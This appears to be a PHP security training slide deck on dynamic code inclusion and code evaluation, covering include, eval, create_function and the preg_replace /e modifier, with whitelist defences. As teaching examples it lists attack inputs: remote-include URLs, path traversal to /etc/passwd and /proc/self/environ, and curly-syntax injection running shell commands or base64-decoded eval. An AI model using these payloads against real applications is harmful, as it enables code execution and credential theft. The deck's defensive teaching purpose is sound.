Part VI

PHP Code Inclusion

PHP Code Inclusion

- PHP supports loading other PHP code
  - include
  - include_once
  - require
  - require_once
- Loading possible from files and URL streams
  - include “/var/www/includes/function.php“;
  - include “http://www.example.com/test.php“;

Static PHP Code Inclusion (I)

- Static inclusion of files
  - include “/var/www/includes/functions.php“
  - include “topic.php“
- no security problem because it cannot be influenced

SektionEins

Static PHP Code Inclusion (II)

- Static inclusion of URL Streams
  - include “http://www.example.com/test.php“
  - include “https://www.example.com/test-ssl.php“
- URL cannot be influenced
- but trusting PHP code from external source
- attackable on network level

➡ potential security problem => should be avoided

Dynamic PHP Code Inclusion (I)

- Dynamc inclusion
  - include $_GET[‘module‘].“.php“
  - include “./modules/“. $_GET[‘module‘].“.php“
- Path to include can be influenced

➡ Security problem because path can be changed to malicious PHP code

Dynamic PHP Code Inclusion - URLs (I)

- URL Wrapper allows injection of PHP code
  - include $_GET['module'].".php"
- Possible attacks
  - include "**http://www.example.com/evilcode.txt?**.php";
  - include "**ftp://ftp.example.com/evilcode.txt?**.php";
  - include "**data:text/plain;<?php phpinfo();?>**.php";
  - include "**php://input\0**.php";

Dynamic PHP Code Inclusion - URLs (II)

- file_exists() is no protection against URL wrappers

```
if (file_exists($_GET['module'].".php"))
   include $_GET['module'].".php";
}
```

- most URL wrappers do not implement stat()
- but ftp:// wrapper supports stat()

➡ file_exists() check can be bypassed with ftp://

Dynamic PHP Code Inclusion - Files (I)

- local files can be viewed and locally stored PHP code can be executed
  - include "./modules/". $_GET['module']."".php"
- possible attacks
  - include "./modules/**../../../etc/passwd\0**.php";
  - include "./modules/**../../../var/log/httpd/access.log\0**.php";
  - include "./modules/**../../../proc/self/environ\0**.php";
  - include "./modules/**../../../tmp/sess_XXXXXXXX\0**.php";

Dynamic PHP Code Inclusion - Files (II)

- protecting include statements should be done with whitelist approaches

```
<?php

   $allowedModules = array('step1', 'step2',
                           'step3', 'step4',
                           'step5', 'step6');

   if (!in_array($module, $allowedModules)) {
      $module = $allowedModules[0];
   }

   include "./modules/$module.php";
?>
```

Part VII

PHP Code Evaluation

PHP Code Evaluation (I)

- Code compilation and execution at runtime
- in PHP
  - eval()
  - create_function()
  - preg_replace() with /e modifizierer
  - assert()

PHP Code Evaluation (II)

- potential security problem if user input is evaluated
- allows execution of arbitrary PHP code
- should be avoided
- is usually not required

eval() (I)

- embedding user input always dangerous
- filtering with blacklists nearly impossible
- correct escaping is hard - no default functions
- whitelist approach is recommended

eval() (II)

- Example:

```
<?php
   eval('$s = "' . addslashes($_GET['val']) . '";');
?>
```

- not sufficient secured
- danger of information leaks through variables
  - index.php?val=$secretVariable
- danger of code execution through complex curly syntax
  - index.php?val={${phpinfo()}}

Complex Curly Syntax

- documented but nearly unknown
- allows code execution within strings
- only within double quotes
    - $s = “foo**{${phpinfo()}}**bar“;
    - $s = “foo**{${`ls -la /`}}**bar“;
    - $s = “foo**{${eval(base64_decode(‘...’))}}**bar“;

SektionEins

eval () Whitelist Protection Approach

```
<?php

   $value = isset($_GET[‘val‘]) ? $_GET[‘val‘] : ‘‘;

   if (preg_match(“/^[0-9a-z]*$/iD“, $value)) {

       $str = “$s = ‘$value‘;“;
       eval($str);

   }

?>
```

create_function()

- for temporary / lambda functions
- internally only an eval() wrapper
- same injection danger like eval()
- injection possible in both parameters

create_function() - Internal Wrapper Function

```
/* Implementation similar */

function create_function($params, $body)
{
   $name = "\0__lambda";
   $name .= $GLOBALS['lambda_count']++;

   $str = "function $name($params) {$body}";
   eval($str);

   return $name;
}
```

preg_replace() (I)

- /e modifier allows execution of PHP code to modify the matches

```
preg_replace('/&#([0-9]+);/e', 'chr(\1)', $source);
```

- Internally during code construction addslashes() is used

```
$str = "chr(";
$str .= addslashes($match1);
$str .= ");";
eval($str);
```

preg_replace() (II)

- potential security problem
- matches could inject PHP code
- depends on regular expression
- depends on position in evaluated code

Secure Usage of the /e Modifier

- /e Modifier can be used in a secure way
- by using single quotes in the evaluated code instead of double quotes

```
preg_replace('/&#(.+);/e', "strtolower('\\1')", $source);
```

- single quotes do not allow complex curly syntax
- single quotes will be correctly escaped
- but best solution is getting rid of evaluated code

preg_replace_callback()

```
<?php

   /* Callback function */
   function pr_callback($match)
   {
      return chr($match[0]);
   }

   preg_replace_callback('/&#([0-9]+);/e',
                         'pr_callback',
                         $source);

?>
```

Questions ?